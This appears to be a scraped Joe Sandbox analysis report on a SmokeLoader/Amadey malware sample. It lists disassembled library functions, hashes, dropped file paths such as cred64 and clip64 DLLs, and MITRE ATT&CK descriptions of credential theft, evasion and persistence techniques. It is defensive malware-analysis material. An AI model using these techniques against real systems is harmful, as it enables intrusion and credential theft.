Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: 3$FlsAlloc
API String ID: 2773662609-3977339013
Opcode ID: 1b45d485a6d0e66ec80af1f9bfd41c895bd1787d0104acfa28e3863eebd6d12a
Instruction ID: 5205f09c5ca3333089ff18f84efd621a6aa1530149a715e4161715c6f20f914c
Opcode Fuzzy Hash: 1b45d485a6d0e66ec80af1f9bfd41c895bd1787d0104acfa28e3863eebd6d12a
Instruction Fuzzy Hash: B8E0C231A807ACB3C61232525C0A99EBE09EB44FA0B190050FA09763819AA0A841B6E2

Uniqueness

Uniqueness Score: -1.00%

Function 00ED0745 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(?,00ECFE27,00000007,00000FA0,00000000,00000003,00ED010B,00000007,?,?,00EB2EF3,?,00000002,?), ref: 00ED0764
InitializeCriticalSectionAndSpinCount.KERNEL32(00000003,?,00000003,?,00ECFE27,00000007,00000FA0,00000000,00000003,00ED010B,00000007,?,?,00EB2EF3,?,00000002), ref: 00ED076E

Strings

3, xrefs: 00ED075E

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID: 3
API String ID: 4156364057-3930663615
Opcode ID: e57bf09cd79eb02c310a66ac849d1f411114a0beadeb445e5b917e4867227b3b
Instruction ID: 9066ef7547aea1378bc2a3bbeee2056e9e133267a61fabd70ffc14aae99c45b8
Opcode Fuzzy Hash: e57bf09cd79eb02c310a66ac849d1f411114a0beadeb445e5b917e4867227b3b
Instruction Fuzzy Hash: E0E0B63654522CABCF122F60DC549D97F69EB08761B458122F91AAA220C772A961ABD0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED05BF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThreadpoolWait.KERNEL32(?,00EE446D,?), ref: 00ED05DE

Strings

3, xrefs: 00ED05D8
mD, xrefs: 00ED05BF

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CreateThreadpoolWait
String ID: 3$mD
API String ID: 540757568-245146634
Opcode ID: 5f2a287032b0012bdc02da260da0a26a182c476ae7a03d1bf7ed1799affbb770
Instruction ID: ba8fbe192e8d8e626092baf484b1ba9cb8c6a24957780d9d34120c834f9119da
Opcode Fuzzy Hash: 5f2a287032b0012bdc02da260da0a26a182c476ae7a03d1bf7ed1799affbb770
Instruction Fuzzy Hash: 34D0C73551522CABCF125FA5EC145DE7F59FF04B60B059022FD0966321C7719D11AFD0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED065A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00ED09C2,?,00000003,00000003,?,00ED09F7,?,?,?,00000003,00000003,?,00ECFF6D,y0,00000001), ref: 00ED0673
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00ED09C2,?,00000003,00000003,?,00ED09F7,?,?,?,00000003,00000003,?,00ECFF6D), ref: 00ED0677

Strings

3, xrefs: 00ED066D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Precise
String ID: 3
API String ID: 743729956-3930663615
Opcode ID: 9f2f520a59262495c46657cc3954dbae6d16104bc0ad446c6faf0c823197f0e9
Instruction ID: 08682af30761ed985fc103273c866a03da1e1ef83dd07daaec504af31d91e7d8
Opcode Fuzzy Hash: 9f2f520a59262495c46657cc3954dbae6d16104bc0ad446c6faf0c823197f0e9
Instruction Fuzzy Hash: D5D0133154513CD7C6032F54FC145DD7F58FF84B557091012EA0757A21C7516C51BBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00ED07D5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

TpSetWait.NTDLL ref: 00ED07F4

Strings

3, xrefs: 00ED07EE
mD, xrefs: 00ED07D5

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Wait
String ID: 3$mD
API String ID: 3722194139-245146634
Opcode ID: 4b6a0fe5a96d2194113ea706c82ab627644e59b7aed8601b4bf50751971bd15b
Instruction ID: 60b798376ec2cd07d213b55329bdddd20cdbd336fc0230a78f759dce414cabc7
Opcode Fuzzy Hash: 4b6a0fe5a96d2194113ea706c82ab627644e59b7aed8601b4bf50751971bd15b
Instruction Fuzzy Hash: 99D0C73151122C67CF112F45DC1499A7F19FF04AA17054016FE0857220C7716C11ABD0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e7CLP6462y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AppLaunch.exe.log

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\246122658369

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar

Windows Analysis Report
e7CLP6462y.exe

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre